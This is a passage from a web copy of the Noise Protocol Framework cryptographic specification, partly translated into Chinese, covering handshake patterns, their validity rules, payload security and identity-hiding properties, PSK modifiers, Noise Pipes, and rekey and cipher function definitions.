es”,反之亦然),以鲍勃发起的形式编写握手模式。这不会改变握手模式,只是使并排查看Alice启动和Bob启动的握手更加容易。</p><p> 以下是上一节以Bob发起的形式的握手模式:</p><p>NN:<br> <-e<br> -> e,ee</p><p>XX:<br> <-e<br> -> e,ee,s,se<br> <-s,es</p><p>NK:<br> -> s<br> …<br> <-e,se<br> -> e,ee</p><p>KK:<br> <- s<br> -> s<br> …<br> <-e,se,ss<br> -> e,ee,es<br> 有关Bob发起的表示法的示例,请参见10.2节。</p><h2 id="握手模式有效性"><a href="#握手模式有效性" class="headerlink" title="握手模式有效性"></a>握手模式有效性</h2><p>握手模式必须在以下方面有效:</p><ol><li><p>各方只能在其拥有的私钥和公钥之间执行DH。</p></li><li><p>各方在每次握手中发送静态静态密钥或临时公共密钥的次数不得超过一次(即,包括预消息在内,发送的消息中最多只能出现一次“ e”,一次出现“ s”)任何一方)。</p></li><li><p>各方每次握手最多只能进行一次DH计算(即每次握手最多只能出现一次“ ee”,“ es”,“ se”或“ ss”)。</p></li><li><p>在远程公共密钥(静态或临时密钥)与本地静态密钥之间执行DH之后,除非本地方也已在其本地临时密钥与远程公共密钥之间执行了DH,否则不得调用ENCRYPT()。特别是,这意味着(使用规范表示法):</p><p>在“ se”令牌之后,除非也有“ ee”令牌,否则发起方不得发送握手有效载荷或传输有效载荷。</p><p>在“ ss”令牌之后,除非也有“ es”令牌,否则发起方不得发送握手有效载荷或传输有效载荷。</p><p>在“ es”令牌之后,除非也有“ ee”令牌,否则响应者不得发送握手有效载荷或传输有效载荷。</p><p>在“ ss”令牌之后,除非也有“ se”令牌,否则响应者不得发送握手有效载荷或传输有效载荷。</p></li></ol><p>第一次检查失败的模式显然是胡说八道。</p><p>第二和第三步检查值的冗余传输和冗余计算为非法,以简化实现和测试。</p><p>第四个检查完成两个目的:</p><ul><li><p>首先,这是必要的,因为噪声依赖于涉及临时密钥的DH输出来随机化共享密钥。未能通过此检查的模式可能会导致灾难性的密钥重用,因为受害者可能会发送一条消息,该消息使用不包含其本地临时密钥贡献的密钥加密(或者来自其本地临时令牌的贡献被来自以下位置的无效临时令牌取消了)另一方)。</p></li><li><p>其次,此检查保证了临时密钥可用于提供重要的安全属性,例如前向安全性和防止密钥泄露的模拟能力。</p></li></ul><p>建议用户仅使用下面列出的握手模式,或使用经过专家审核才能满足上述检查要求的其他模式。</p><h2 id="单向握手模式"><a href="#单向握手模式" class="headerlink" title="单向握手模式"></a>单向握手模式</h2><p>The following handshake patterns represent “one-way” handshakes supporting a one-way stream of data from a sender to a recipient. These patterns could be used to encrypt files, database records, or other non-interactive data streams.</p><p>Following a one-way handshake the sender can send a stream of transport messages, encrypting them using the first CipherState returned by Split(). The second CipherState from Split() is discarded - the recipient must not send any messages using it (as this would violate the rules in Section 7.3).</p><p>One-way patterns are named with a single character, which indicates the status of the sender’s static key:</p><p>N = No static key for sender<br>K = Static key for sender Known to recipient<br>X = Static key for sender Xmitted (“transmitted”) to recipient<br>N:<br> <- s<br> …<br> -> e, es<br>K:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br>X:<br> <- s<br> …<br> -> e, es, s, ss<br>N is a conventional DH-based public-key encryption. The other patterns add sender authentication, where the sender’s public key is either known to the recipient beforehand (K) or transmitted under encryption (X).</p><h2 id="交互式握手模式(基本)"><a href="#交互式握手模式(基本)" class="headerlink" title="交互式握手模式(基本)"></a>交互式握手模式(基本)</h2><p>The following handshake patterns represent interactive protocols. These 12 patterns are called the fundamental interactive handshake patterns.</p><p>The fundamental interactive patterns are named with two characters, which indicate the status of the initiator and responder’s static keys:</p><p>The first character refers to the initiator’s static key:</p><p>N = No static key for initiator<br>K = Static key for initiator Known to responder<br>X = Static key for initiator Xmitted (“transmitted”) to responder<br>I = Static key for initiator Immediately transmitted to responder, despite reduced or absent identity hiding<br>The second character refers to the responder’s static key:</p><p>N = No static key for responder<br>K = Static key for responder Known to initiator<br>X = Static key for responder Xmitted (“transmitted”) to initiator<br>NN:<br> -> e<br> <- e, ee<br> KN:<br> -> s<br> …<br> -> e<br> <- e, ee, se<br>NK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> KK:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> <- e, ee, se<br>NX:<br> -> e<br> <- e, ee, s, es<br> KX:<br> -> s<br> …<br> -> e<br> <- e, ee, se, s, es<br>XN:<br> -> e<br> <- e, ee<br> -> s, se<br> IN:<br> -> e, s<br> <- e, ee, se<br>XK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> s, se<br> IK:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se<br>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se<br> IX:<br> -> e, s<br> <- e, ee, se, s, es<br>The XX pattern is the most generically useful, since it supports mutual authentication and transmission of static public keys.</p><p>All fundamental patterns allow some encryption of handshake payloads:</p><p>Patterns where the initiator has pre-knowledge of the responder’s static public key (i.e. patterns ending in K) allow zero-RTT encryption, meaning the initiator can encrypt the first handshake payload.</p><p>All fundamental patterns allow half-RTT encryption of the first response payload, but the encryption only targets an initiator static public key in patterns starting with K or I.</p><p>The security properties for handshake payloads are usually weaker than the final security properties achieved by transport payloads, so these early encryptions must be used with caution.</p><p>In some patterns the security properties of transport payloads can also vary. In particular: patterns starting with K or I have the caveat that the responder is only guaranteed “weak” forward secrecy for the transport messages it sends until it receives a transport message from the initiator. After receiving a transport message from the initiator, the responder becomes assured of “strong” forward secrecy.</p><p>More analysis of these payload security properties is in Section 7.7.</p><h2 id="交互式握手模式(延迟)"><a href="#交互式握手模式(延迟)" class="headerlink" title="交互式握手模式(延迟)"></a>交互式握手模式(延迟)</h2><p>The fundamental handshake patterns in the previous section perform DH operations for authentication (“es” and “se”) as early as possible.</p><p>An additional set of handshake patterns can be described which defer these authentication DHs to the next message. To name these deferred handshake patterns, the numeral “1” is used after the first and/or second character in a fundamental pattern name to indicate that the initiator and/or responder’s authentication DH is deferred to the next message.</p><p>Deferred patterns might be useful for several reasons:</p><p>The initiator might have prior knowledge of the responder’s static public key, but not wish to send any 0-RTT encrypted data.</p><p>In some cases, deferring authentication can improve the identity-hiding properties of the handshake (see Section 7.8).</p><p>Future extensions to Noise might be capable of replacing DH operations with signatures or KEM ciphertexts, but would only be able to do so if the sender is authenticating themselves (signatures) or the sender is authenticating the recipient (KEM ciphertexts). Thus every fundamental handshake pattern is only capable of having each authentication DH replaced with a signature or KEM ciphertext, but the deferred variants make both replacements possible.</p><p>Below are two examples showing a fundamental handshake pattern on the left, and deferred variant(s) on the right. The full set of 23 deferred handshake patterns are in the Appendix.</p><p>NK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> NK1:<br> <- s<br> …<br> -> e<br> <- e, ee, es<br>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se<br> X1X:<br> -> e<br> <- e, ee, s, es<br> -> s<br> <- se</p><pre><code>XX1: -> e <- e, ee, s -> es, s, seX1X1: -> e <- e, ee, s -> es, s <- se</code></pre><h2 id="有效负载安全性属性"><a href="#有效负载安全性属性" class="headerlink" title="有效负载安全性属性"></a>有效负载安全性属性</h2><p>The following table lists the security properties for Noise handshake and transport payloads for all the one-way patterns in Section 7.4 and the fundamental patterns in Section 7.5. Each payload is assigned a “source” property regarding the degree of authentication of the sender provided to the recipient, and a “destination” property regarding the degree of confidentiality provided to the sender.</p><p>The source properties are:</p><p>No authentication. This payload may have been sent by any party, including an active attacker.</p><p>Sender authentication vulnerable to key-compromise impersonation (KCI). The sender authentication is based on a static-static DH (“ss”) involving both parties’ static key pairs. If the recipient’s long-term private key has been compromised, this authentication can be forged. Note that a future version of Noise might include signatures, which could improve this security property, but brings other trade-offs.</p><p>Sender authentication resistant to key-compromise impersonation (KCI). The sender authentication is based on an ephemeral-static DH (“es” or “se”) between the sender’s static key pair and the recipient’s ephemeral key pair. Assuming the corresponding private keys are secure, this authentication cannot be forged.</p><p>The destination properties are:</p><p>No confidentiality. This payload is sent in cleartext.</p><p>Encryption to an ephemeral recipient. This payload has forward secrecy, since encryption involves an ephemeral-ephemeral DH (“ee”). However, the sender has not authenticated the recipient, so this payload might be sent to any party, including an active attacker.</p><p>Encryption to a known recipient, forward secrecy for sender compromise only, vulnerable to replay. This payload is encrypted based only on DHs involving the recipient’s static key pair. If the recipient’s static private key is compromised, even at a later date, this payload can be decrypted. This message can also be replayed, since there’s no ephemeral contribution from the recipient.</p><p>Encryption to a known recipient, weak forward secrecy. This payload is encrypted based on an ephemeral-ephemeral DH and also an ephemeral-static DH involving the recipient’s static key pair. However, the binding between the recipient’s alleged ephemeral public key and the recipient’s static public key hasn’t been verified by the sender, so the recipient’s alleged ephemeral public key may have been forged by an active attacker. In this case, the attacker could later compromise the recipient’s static private key to decrypt the payload. Note that a future version of Noise might include signatures, which could improve this security property, but brings other trade-offs.</p><p>Encryption to a known recipient, weak forward secrecy if the sender’s private key has been compromised. This payload is encrypted based on an ephemeral-ephemeral DH, and also based on an ephemeral-static DH involving the recipient’s static key pair. However, the binding between the recipient’s alleged ephemeral public and the recipient’s static public key has only been verified based on DHs involving both those public keys and the sender’s static private key. Thus, if the sender’s static private key was previously compromised, the recipient’s alleged ephemeral public key may have been forged by an active attacker. In this case, the attacker could later compromise the intended recipient’s static private key to decrypt the payload (this is a variant of a “KCI” attack enabling a “weak forward secrecy” attack). Note that a future version of Noise might include signatures, which could improve this security property, but brings other trade-offs.</p><p>Encryption to a known recipient, strong forward secrecy. This payload is encrypted based on an ephemeral-ephemeral DH as well as an ephemeral-static DH with the recipient’s static key pair. Assuming the ephemeral private keys are secure, and the recipient is not being actively impersonated by an attacker that has stolen its static private key, this payload cannot be decrypted.</p><p>For one-way handshakes, the below-listed security properties apply to the handshake payload as well as transport payloads.</p><p>For interactive handshakes, security properties are listed for each handshake payload. Transport payloads are listed as arrows without a pattern. Transport payloads are only listed if they have different security properties than the previous handshake payload sent from the same party. If two transport payloads are listed, the security properties for the second only apply if the first was received.</p><pre><code>Source Destination</code></pre><p>N 0 2<br>K 1 2<br>X 1 2<br>NN<br> -> e 0 0<br> <- e, ee 0 1<br> -> 0 1<br>NK<br> <- s<br> …<br> -> e, es 0 2<br> <- e, ee 2 1<br> -> 0 5<br>NX<br> -> e 0 0<br> <- e, ee, s, es 2 1<br> -> 0 5<br>XN<br> -> e 0 0<br> <- e, ee 0 1<br> -> s, se 2 1<br> <- 0 5<br>XK<br> <- s<br> …<br> -> e, es 0 2<br> <- e, ee 2 1<br> -> s, se 2 5<br> <- 2 5<br>XX<br> -> e 0 0<br> <- e, ee, s, es 2 1<br> -> s, se 2 5<br> <- 2 5<br>KN<br> -> s<br> …<br> -> e 0 0<br> <- e, ee, se 0 3<br> -> 2 1<br> <- 0 5<br>KK<br> -> s<br> <- s<br> …<br> -> e, es, ss 1 2<br> <- e, ee, se 2 4<br> -> 2 5<br> <- 2 5<br>KX<br> -> s<br> …<br> -> e 0 0<br> <- e, ee, se, s, es 2 3<br> -> 2 5<br> <- 2 5<br>IN<br> -> e, s 0 0<br> <- e, ee, se 0 3<br> -> 2 1<br> <- 0 5<br>IK<br> <- s<br> …<br> -> e, es, s, ss 1 2<br> <- e, ee, se 2 4<br> -> 2 5<br> <- 2 5<br>IX<br> -> e, s 0 0<br> <- e, ee, se, s, es 2 3<br> -> 2 5<br> <- 2 5</p><h2 id="身份隐藏"><a href="#身份隐藏" class="headerlink" title="身份隐藏"></a>身份隐藏</h2><p>The following table lists the identity-hiding properties for all the one-way handshake patterns in Section 7.4 and the fundamental handshake patterns in Section 7.5. In addition, we list a few deferred handshake patterns which have different identity-hiding properties than the corresponding fundamental pattern.</p><p>Each pattern is assigned properties describing the confidentiality supplied to the initiator’s static public key, and to the responder’s static public key. The underlying assumptions are that ephemeral private keys are secure, and that parties abort the handshake if they receive a static public key from the other party which they don’t trust.</p><p>This section only considers identity leakage through static public key fields in handshakes. Of course, the identities of Noise participants might be exposed through other means, including payload fields, traffic analysis, or metadata such as IP addresses.</p><p>The properties for the relevant public key are:</p><p>Transmitted in clear.</p><p>Encrypted with forward secrecy, but can be probed by an anonymous initiator.</p><p>Encrypted with forward secrecy, but sent to an anonymous responder.</p><p>Not transmitted, but a passive attacker can check candidates for the responder’s private key and determine whether the candidate is correct. An attacker could also replay a previously-recorded message to a new responder and determine whether the two responders are the “same” (i.e. are using the same static key pair) by whether the recipient accepts the message.</p><p>Encrypted to responder’s static public key, without forward secrecy. If an attacker learns the responder’s private key they can decrypt the initiator’s public key.</p><p>Not transmitted, but a passive attacker can check candidates for the pair of (responder’s private key, initiator’s public key) and learn whether the candidate pair is correct.</p><p>Encrypted but with weak forward secrecy. An active attacker who pretends to be the initiator without the initiator’s static private key, then later learns the initiator private key, can then decrypt the responder’s public key.</p><p>Not transmitted, but an active attacker who pretends to be the initator without the initiator’s static private key, then later learns a candidate for the initiator private key, can then check whether the candidate is correct.</p><p>Encrypted with forward secrecy to an authenticated party.</p><p>An active attacker who pretends to be the initiator and records a single protocol run can then check candidates for the responder’s public key.</p><pre><code>Initiator Responder</code></pre><p>N - 3<br>K 5 5<br>X 4 3<br>NN - -<br>NK - 3<br>NK1 - 9<br>NX - 1<br>XN 2 -<br>XK 8 3<br>XK1 8 9<br>XX 8 1<br>KN 7 -<br>KK 5 5<br>KX 7 6<br>IN 0 -<br>IK 4 3<br>IK1 0 9<br>IX 0 6</p><h1 id="协议名称和修饰符"><a href="#协议名称和修饰符" class="headerlink" title="协议名称和修饰符"></a>协议名称和修饰符</h1><p>To produce a Noise protocol name for Initialize() you concatenate the ASCII string “Noise_” with four underscore-separated name sections which sequentially name the handshake pattern, the DH functions, the cipher functions, and then the hash functions. The resulting name must be 255 bytes or less. Examples:</p><p>Noise_XX_25519_AESGCM_SHA256<br>Noise_N_25519_ChaChaPoly_BLAKE2s<br>Noise_IK_448_ChaChaPoly_BLAKE2b<br>Each name section must consist only of alphanumeric characters (i.e. characters in one of the ranges “A”…”Z”, “a”…”z”, and “0”…”9”), and the two special characters “+” and “/“.</p><p>Additional rules apply to each name section, as specified below.</p><p>8.1. Handshake pattern name section</p><p>A handshake pattern name section contains a handshake pattern name plus a sequence of zero or more pattern modifiers.</p><p>The handshake pattern name must be an uppercase ASCII string containing only alphabetic characters or numerals (e.g. “XX1” or “IK”).</p><p>Pattern modifiers specify arbitrary extensions or modifications to the behavior specified by the handshake pattern. For example, a modifier could be applied to a handshake pattern which transforms it into a different pattern according to some rule. The “psk0” and “fallback” modifiers are examples of this, and will be defined later in this document.</p><p>A pattern modifier is named with a lowercase alphanumeric ASCII string which must begin with an alphabetic character (not a numeral). The pattern modifier is appended to the base pattern as described below:</p><p>The first modifier added onto a base pattern is simply appended. Thus the “fallback” modifier, when added to the “XX” pattern, produces “XXfallback”. Additional modifiers are separated with a plus sign. Thus, adding the “psk0” modifier would result in the name section “XXfallback+psk0”, or a full protocol name such as “Noise_XXfallback+psk0_25519_AESGCM_SHA256”.</p><p>In some cases the sequential ordering of modifiers will specify different protocols. However, if the order of some modifiers does not matter, then they are required to be sorted alphabetically (this is an arbitrary convention to ensure interoperability).</p><p>8.2. Cryptographic algorithm name sections</p><p>The rules for the DH, cipher, and hash name sections are identical. Each name section must contain one or more algorithm names separated by plus signs.</p><p>Each algorithm name must consist solely of alphanumeric characters and the forward-slash character (“/“). Algorithm names are recommended to be short, and to use the “/“ character only when necessary to avoid ambiguity (e.g. “SHA3/256” is preferable to “SHA3256”).</p><p>In most cases there will be a single algorithm name in each name section (i.e. no plus signs). Multiple algorithm names are only used when called for by the pattern or a modifier.</p><p>None of the patterns or modifiers in this document require multiple algorithm names in any name section. However, this functionality might be useful in future extensions. For example, multiple algorithm names might be used in the DH section to specify “hybrid” post-quantum forward secrecy; or multiple hash algorithms might be specified for different purposes.</p><ol start="9"><li>Pre-shared symmetric keys</li></ol><p>Noise provides a pre-shared symmetric key or PSK mode to support protocols where both parties have a 32-byte shared secret key.</p><p>9.1. Cryptographic functions</p><p>PSK mode uses the SymmetricState.MixKeyAndHash() function to mix the PSK into both the encryption keys and the h value.</p><p>Note that MixKeyAndHash() uses HKDF(…, 3). The third output from HKDF() is used as the k value so that calculation of k may be skipped if k is not used.</p><p>9.2. Handshake tokens</p><p>In a PSK handshake, a “psk” token is allowed to appear one or more times in a handshake pattern. This token can only appear in message patterns (not pre-message patterns). This token is processed by calling MixKeyAndHash(psk), where psk is a 32-byte secret value provided by the application.</p><p>In non-PSK handshakes, the “e” token in a pre-message pattern or message pattern always results in a call to MixHash(e.public_key). In a PSK handshake, all of these calls are followed by MixKey(e.public_key). In conjunction with the validity rule in the next section, this ensures that PSK-based encryption uses encryption keys that are randomized using ephemeral public keys as nonces.</p><p>9.3. Validity rule</p><p>To prevent catastrophic key reuse, handshake patterns using the “psk” token must follow an additional validity rule:</p><p>A party may not send any encrypted data after it processes a “psk” token unless it has previously sent an ephemeral public key (an “e” token), either before or after the “psk” token.<br>This rule guarantees that a k derived from a PSK will never be used for encryption unless it has also been randomized by MixKey(e.public_key) using a self-chosen ephemeral public key.</p><p>9.4. Pattern modifiers</p><p>To indicate PSK mode and the placement of the “psk” token, pattern modifiers are used (see Section 8). The modifier psk0 places a “psk” token at the beginning of the first handshake message. The modifiers psk1, psk2, etc., place a “psk” token at the end of the first, second, etc., handshake message.</p><p>Any pattern using one of these modifiers must process tokens according to the rules in Section 9.2, and must follow the validity rule in Section 9.3.</p><p>The table below lists some unmodified one-way patterns on the left, and the recommended PSK pattern on the right:</p><p>N:<br> <- s<br> …<br> -> e, es<br> Npsk0:<br> <- s<br> …<br> -> psk, e, es<br>K:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> Kpsk0:<br> -> s<br> <- s<br> …<br> -> psk, e, es, ss<br>X:<br> <- s<br> …<br> -> e, es, s, ss<br> Xpsk1:<br> <- s<br> …<br> -> e, es, s, ss, psk<br>Note that the psk1 modifier is recommended for X. This is because X transmits the initiator’s static public key. Because PSKs are typically pairwise, the responder likely cannot determine the PSK until it has decrypted the initiator’s static public key. Thus, psk1 is likely to be more useful here than psk0.</p><p>Following similar logic, we can define the most likely interactive PSK patterns:</p><p>NN:<br> -> e<br> <- e, ee<br>NNpsk0:<br> -> psk, e<br> <- e, ee<br>NN:<br> -> e<br> <- e, ee<br>NNpsk2:<br> -> e<br> <- e, ee, psk<br>NK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br>NKpsk0:<br> <- s<br> …<br> -> psk, e, es<br> <- e, ee<br>NK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br>NKpsk2:<br> <- s<br> …<br> -> e, es<br> <- e, ee, psk<br>NX:<br> -> e<br> <- e, ee, s, es<br> NXpsk2:<br> -> e<br> <- e, ee, s, es, psk<br>XN:<br> -> e<br> <- e, ee<br> -> s, se<br> XNpsk3:<br> -> e<br> <- e, ee<br> -> s, se, psk<br>XK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> s, se<br> XKpsk3:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> s, se, psk<br>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se<br> XXpsk3:<br> -> e<br> <- e, ee, s, es<br> -> s, se, psk<br>KN:<br> -> s<br> …<br> -> e<br> <- e, ee, se<br> KNpsk0:<br> -> s<br> …<br> -> psk, e<br> <- e, ee, se<br>KN:<br> -> s<br> …<br> -> e<br> <- e, ee, se<br> KNpsk2:<br> -> s<br> …<br> -> e<br> <- e, ee, se, psk<br>KK:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> <- e, ee, se<br> KKpsk0:<br> -> s<br> <- s<br> …<br> -> psk, e, es, ss<br> <- e, ee, se<br>KK:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> <- e, ee, se<br> KKpsk2:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> <- e, ee, se, psk<br>KX:<br> -> s<br> …<br> -> e<br> <- e, ee, se, s, es<br> KXpsk2:<br> -> s<br> …<br> -> e<br> <- e, ee, se, s, es, psk<br>IN:<br> -> e, s<br> <- e, ee, se<br> INpsk1:<br> -> e, s, psk<br> <- e, ee, se<br>IN:<br> -> e, s<br> <- e, ee, se<br> INpsk2:<br> -> e, s<br> <- e, ee, se, psk<br>IK:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se<br> IKpsk1:<br> <- s<br> …<br> -> e, es, s, ss, psk<br> <- e, ee, se<br>IK:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se<br> IKpsk2:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se, psk<br>IX:<br> -> e, s<br> <- e, ee, se, s, es<br> IXpsk2:<br> -> e, s<br> <- e, ee, se, s, es, psk<br>The above list does not exhaust all possible patterns that can be formed with these modifiers. In particular, any of these PSK modifiers can be safely applied to any previously named pattern, resulting in patterns like IKpsk0, KKpsk1, or even XXpsk0+psk3, which aren’t listed above.</p><p>This still doesn’t exhaust all the ways that “psk” tokens could be used outside of these modifiers (e.g. placement of “psk” tokens in the middle of a message pattern). Defining additional PSK modifiers is outside the scope of this document.</p><h1 id="复合协议"><a href="#复合协议" class="headerlink" title="复合协议"></a>复合协议</h1><p>10.1. Rationale for compound protocols</p><p>So far we’ve assumed Alice and Bob wish to execute a single Noise protocol chosen by the initiator (Alice). However, there are a number of reasons why Bob might wish to switch to a different Noise protocol after receiving Alice’s first message. For example:</p><p>Alice might have chosen a Noise protocol based on a cipher, DH function, or handshake pattern which Bob doesn’t support.</p><p>Alice might have sent a “zero-RTT” encrypted initial message based on an out-of-date version of Bob’s static public key or PSK.</p><p>Handling these scenarios requires a compound protocol where Bob switches from the initial Noise protocol chosen by Alice to a new Noise protocol. In such a compound protocol the roles of initiator and responder would be reversed - Bob would become the initiator of the new Noise protocol, and Alice the responder.</p><p>Compound protocols introduce significant complexity as Alice needs to advertise the Noise protocol she is beginning with and the Noise protocol(s) she is capable of switching to, and both parties have to negotiate a secure transition.</p><p>These details are largely out of scope for this document. However, to give an example of how compound protocols can be constructed, and to provide some building blocks, the following sections define a fallback modifier and show how it can be used to create a Noise Pipe compound protocol.</p><p>Noise Pipes support the XX pattern, but also allow Alice to cache Bob’s static public key and attempt an IK handshake with 0-RTT encryption.</p><p>In case Bob can’t decrypt Alice’s initial IK message, he will switch to the XXfallback pattern, which essentially allows the parties to complete an XX handshake as if Alice had sent an XX initial message instead of an IK initial message.</p><p>10.2. The fallback modifier</p><p>The fallback modifier converts an Alice-initiated pattern to a Bob-initiated pattern by converting Alice’s initial message to a pre-message that Bob must receive through some other means (e.g. via an initial IK message from Alice). After this conversion, the rest of the handshake pattern is interpreted as a Bob-initiated handshake pattern.</p><p>For example, here is the fallback modifier applied to XX to produce XXfallback:</p><p>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se</p><p>XXfallback:<br> -> e<br> …<br> <- e, ee, s, es<br> -> s, se<br>Note that fallback can only be applied to handshake patterns in Alice-initiated form where Alice’s first message is capable of being interpreted as a pre-message (i.e. it must be either “e”, “s”, or “e, s”).</p><p>10.3. Zero-RTT and Noise protocols</p><p>A typical compound protocol for zero-RTT encryption involves three different Noise protocols:</p><p>A full protocol is used if Alice doesn’t possess stored information about Bob that would enable zero-RTT encryption, or doesn’t wish to use the zero-RTT handshake.</p><p>A zero-RTT protocol allows encryption of data in the initial message.</p><p>A switch protocol is triggered by Bob if he can’t decrypt Alice’s first zero-RTT handshake message.</p><p>There must be some way for Bob to distinguish the full versus zero-RTT cases on receiving the first message. If Alice makes a zero-RTT attempt, there must be some way for her to distinguish the zero-RTT versus switch cases on receiving the response.</p><p>For example, each handshake message could be preceded by some negotiation data, such as a type byte (see Section 13). This data is not part of the Noise message proper, but signals which Noise protocol is being used.</p><p>10.4. Noise Pipes</p><p>This section defines the Noise Pipe compound protocol. The following handshake patterns satisfy the full, zero-RTT, and switch roles discussed in the previous section, so can be used to provide a full handshake with a simple zero-RTT option:</p><p>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se</p><p>IK:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se</p><p>XXfallback:<br> -> e<br> …<br> <- e, ee, s, es<br> -> s, se<br>The XX pattern is used for a full handshake if the parties haven’t communicated before, after which Alice can cache Bob’s static public key.</p><p>The IK pattern is used for a zero-RTT handshake.</p><p>The XXfallback pattern is used for a switch handshake if Bob fails to decrypt an initial IK message (perhaps due to having changed his static key).</p><p>10.5. Handshake indistinguishability</p><p>Parties might wish to hide from an eavesdropper which type of handshake they are performing. For example, suppose parties are using Noise Pipes, and want to hide whether they are performing a full handshake, zero-RTT handshake, or fallback handshake.</p><p>This is fairly easy:</p><p>The first three messages can have their payloads padded with random bytes to a constant size, regardless of which handshake is executed.</p><p>Bob will attempt to decrypt the first message as an IK message, and will switch to XXfallback if decryption fails.</p><p>An Alice who sends an IK initial message can use trial decryption to differentiate between a response using IK or XXfallback.</p><p>An Alice attempting a full handshake will send an ephemeral public key, then random padding, and will use XXfallback to handle the response. Note that XX isn’t used, because the server can’t distinguish an XX message from a failed IK attempt by using trial decryption.</p><p>This leaves the Noise ephemeral public keys in the clear. Ephemeral public keys are randomly chosen DH public values, but they will typically have enough structure that an eavesdropper might suspect the parties are using Noise, even if the eavesdropper can’t distinguish the different handshakes. To make the ephemerals indistinguishable from random byte sequences, techniques like Elligator [5] could be used.</p><ol start="11"><li>Advanced features</li></ol><p>11.1. Dummy keys</p><p>Consider a protocol where an initiator will authenticate herself if the responder requests it. This could be viewed as the initiator choosing between patterns like NX and XX based on some value inside the responder’s first handshake payload.</p><p>Noise doesn’t directly support this. Instead, this could be simulated by always executing XX. The initiator can simulate the NX case by sending a dummy static public key if authentication is not requested. The value of the dummy public key doesn’t matter.</p><p>This technique is simple, since it allows use of a single handshake pattern. It also doesn’t reveal which option was chosen from message sizes or computation time. It could be extended to allow an XX pattern to support any permutation of authentications (initiator only, responder only, both, or none).</p><p>Similarly, dummy PSKs (e.g. a PSK of all zeros) would allow a protocol to optionally support PSKs.</p><p>11.2. Channel binding</p><p>Parties might wish to execute a Noise protocol, then perform authentication at the application layer using signatures, passwords, or something else.</p><p>To support this, Noise libraries may call GetHandshakeHash() after the handshake is complete and expose the returned value to the application as a handshake hash which uniquely identifies the Noise session.</p><p>Parties can then sign the handshake hash, or hash it along with their password, to get an authentication token which has a “channel binding” property: the token can’t be used by the receiving party with a different sesssion.</p><p>11.3. Rekey</p><p>Parties might wish to periodically update their cipherstate keys using a one-way function, so that a compromise of cipherstate keys will not decrypt older messages. Periodic rekey might also be used to reduce the volume of data encrypted under a single cipher key (this is usually not important with good ciphers, though note the discussion on AESGCM data volumes in Section 14).</p><p>To enable this, Noise supports a Rekey() function which may be called on a CipherState.</p><p>It is up to to the application if and when to perform rekey. For example:</p><p>Applications might perform continuous rekey, where they rekey the relevant cipherstate after every transport message sent or received. This is simple and gives good protection to older ciphertexts, but might be difficult for implementations where changing keys is expensive.</p><p>Applications might rekey a cipherstate automatically after it has has been used to send or receive some number of messages.</p><p>Applications might choose to rekey based on arbitrary criteria, in which case they signal this to the other party by sending a message.</p><p>Applications must make these decisions on their own; there are no pattern modifiers which specify rekey behavior.</p><p>Note that rekey only updates the cipherstate’s k value, it doesn’t reset the cipherstate’s n value, so applications performing rekey must still perform a new handshake if sending 264 or more transport messages.</p><p>11.4. Out-of-order transport messages</p><p>In some use cases, Noise transport messages might be lost or arrive out-of-order (e.g. when messages are sent over UDP). To handle this, an application protocol can send the n value used for encrypting each transport message alongside that message. On receiving such a message the recipient would call the SetNonce() function on the receiving CipherState using the received n value.</p><p>Recipients doing this must track the received n values for which decryption was successful and reject any message which repeats such a value, to prevent replay attacks.</p><p>Note that lossy and out-of-order message delivery introduces many other concerns (including out-of-order handshake messages and denial of service risks) which are outside the scope of this document.</p><p>11.5. Half-duplex protocols</p><p>In some application protocols the parties strictly alternate sending messages. In this case Noise can be used in a half-duplex mode [6] where the first CipherState returned by Split() is used for encrypting messages in both directions, and the second CipherState returned by Split() is unused. This allows some small optimizations, since Split() only has to calculate a single output CipherState, and both parties only need to store a single CipherState during the transport phase.</p><p>This feature must be used with extreme caution. In particular, it would be a catastrophic security failure if the protocol is not strictly alternating and both parties encrypt different messages using the same CipherState and nonce value.</p><ol start="12"><li>DH functions, cipher functions, and hash functions</li></ol><p>12.1. The 25519 DH functions</p><p>GENERATE_KEYPAIR(): Returns a new Curve25519 key pair.</p><p>DH(keypair, public_key): Executes the Curve25519 DH function (aka “X25519” in [7]). Invalid public key values will produce an output of all zeros.</p><p>Alternatively, implementations are allowed to detect inputs that produce an all-zeros output and signal an error instead. This behavior is discouraged because it adds complexity and implementation variance, and does not improve security. This behavior is allowed because it might match the behavior of some software.</p><p>DHLEN = 32</p><p>12.2. The 448 DH functions</p><p>GENERATE_KEYPAIR(): Returns a new Curve448 key pair.</p><p>DH(keypair, public_key): Executes the Curve448 DH function (aka “X448” in [7]). Invalid public key values will produce an output of all zeros.</p><p>Alternatively, implementations are allowed to detect inputs that produce an all-zeros output and signal an error instead. This behavior is discouraged because it adds complexity and implementation variance, and does not improve security. This behavior is allowed because it might match the behavior of some software.</p><p>DHLEN = 56</p><p>12.3. The ChaChaPoly cipher functions</p><p>ENCRYPT(k, n, ad, plaintext) / DECRYPT(k, n, ad, ciphertext): AEAD_CHACHA20_POLY1305 from [8]. The 96-bit nonce is formed by encoding 32 bits of zeros followed by little-endian encoding of n. (Earlier implementations of ChaCha20 used a 64-bit nonce; with these implementations it’s compatible to encode n directly into the ChaCha20 nonce without the 32-bit zero prefix).<br>12.4. The AESGCM cipher functions</p><p>ENCRYPT(k, n, ad, plaintext) / DECRYPT(k, n, ad, ciphertext): AES256 with GCM from 